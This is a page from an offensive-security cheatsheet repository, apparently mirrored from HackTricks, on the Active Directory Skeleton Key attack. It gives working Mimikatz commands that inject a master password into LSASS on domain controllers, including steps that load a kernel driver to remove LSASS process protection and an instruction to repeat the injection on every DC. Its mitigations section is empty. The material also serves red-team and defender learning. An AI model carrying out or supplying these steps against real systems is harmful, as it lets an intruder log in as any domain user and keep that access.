repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
skeleton-key.mdMarkdown67 lines4.4 KiBsource raw download

title: "Skeleton Key" section: "Windows" sectionSlug: "windows-hardening" sourcePath: "src/windows-hardening/active-directory-methodology/skeleton-key.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/active-directory-methodology/skeleton-key.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0"#

Skeleton Key#

Skeleton Key Attack#

The Skeleton Key attack is a technique that allows attackers to bypass Active Directory authentication by injecting a master password into the LSASS process of each domain controller. After injection, the master password (default mimikatz) can be used to authenticate as any domain user while their real passwords still work.[1][2]

Key facts:

Execution#

Classic, non‑PPL protected LSASS:

mimikatz # privilege::debug
mimikatz # misc::skeleton

If LSASS is running as a protected process light (PPL), user-mode debug access is blocked. The historical Mimikatz procedure below loads its kernel driver and removes protection before patching LSASS. Credential Guard is a separate isolation control and should not be used as a synonym for PPL.[3][4]

mimikatz # privilege::debug
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove   # drop PPL
mimikatz # misc::skeleton                               # inject master password 'mimikatz'

After injection, authenticate with any domain account but use password mimikatz (or the value set by the operator). Remember to repeat on all DCs in multi‑DC environments.

Mitigations#

For additional credential‑hardening guidance check Windows credentials protections.

References#